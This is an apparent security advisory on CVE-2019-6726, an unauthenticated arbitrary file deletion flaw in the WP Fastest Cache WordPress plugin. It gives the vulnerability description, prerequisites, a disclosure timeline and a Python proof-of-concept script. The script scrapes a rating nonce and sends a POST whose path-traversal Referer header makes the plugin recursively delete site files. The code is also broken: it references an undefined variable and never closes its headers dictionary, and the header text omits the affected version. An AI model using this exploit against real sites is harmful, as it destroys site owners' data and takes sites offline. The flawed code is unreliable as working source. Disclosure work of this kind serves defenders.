WordPress WP Fastest Cache Arbitrary File Deletion

WordPress WP Fastest Cache plugin versions and below suffer from an arbitrary file deletion vulnerability.

MD5 | 9b9a838b46eb2f7747fb39c71ac3d48a

The wordpress plugin "WP Fastest Cache" [0] suffered from an arbitrary file deletion bug. 

# Description

A successful attack allows an unauthenticated attacker to specify a path to a directory from which files and directories will be deleted recursively. The vulnerable code path extracts the path portion of the referrer header and then uses string concatenation to build an absolute path. This path is then passed to the 'rm_folder_recursively' function which deletes folders and their files in a recursive manner.

Although a successful exploit leads to data loss and potentially a DoS against the website, because wordpress won't find important files to run, there are several requirements which need to be met:

- WP Fastest Cache is installed and the cache is activated
- Wordpress is configured to use 'pretty' URL schemes, like /<data>/<title> etc.
- WP Postratings [1] is installed
- At least one ratable post or page was published

# PoC / Exploit

A proof of concept and ready-to-use python exploit script exists at [2], but is in general as simple as finding a ratable post/page, extracting the nonce and sending a POST request with the malicious referrer header.

# Timeline
- 24.01.2019: Reported the vulnerability to the vendor
- 24.01.2019: CVE-2019-6726 assigned by MITRE
- 29.01.2019: Finished communication about possible fixes
- 17.02.2019: Vendor released fixed version
- 09.03.2019: Details published

Sebastian Neef

[0] https://vi.wordpress.org/plugins/wp-fastest-cache/
[1] https://vi.wordpress.org/plugins/wp-postratings/
[2] https://0day.work/cve-2019-6726-arbitrary-file-deletion-in-wp-fastest-cache-0-8-8-1/

Proof of Concept

Here's a very basic PoC that will do the following:

Fetch the source code of the target URL
Parse out the nonce needed to post a rating
Post a rating for the given post using a malicious referrer
Thereby deleting important wordpress files and demonstrating the vulnerability.

# PoC for CVE-2019-6726 by @gehaxelt

import requests
from bs4 import BeautifulSoup
#from requests.auth import HTTPBasicAuth

# The vulnerable page with a ratable post
BASE_URL = "http://localhost:7349/"
VOTE_PAGE = "rate-my-bobby-car-and-again/"

# Send initial request to obtain nonce!
r = requests.get(RATINGS_POST_OR_PAGE)

# Parse returned HTML
bs = BeautifulSoup(r.content, "html5lib")

# Find span that has the nonce!
the_span = bs.find_all('span', attrs={'data-nonce' : True})[0]
nonce = the_span['data-nonce']
pid = the_span['id'].replace("post-ratings-", "")
print("the nonce is: ", nonce)
print("the pid is: ", pid)

burp0_url = "{}wp-admin/admin-ajax.php".format(BASE_URL)
burp0_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "{}../../../".format(BASE_URL),
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"DNT": "1",
"Connection": "close",
burp0_data={"action": "postratings", "pid": pid, "rate": "5", "postratings_{}_nonce".format(pid): nonce}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print("Response is: ", r.status_code)

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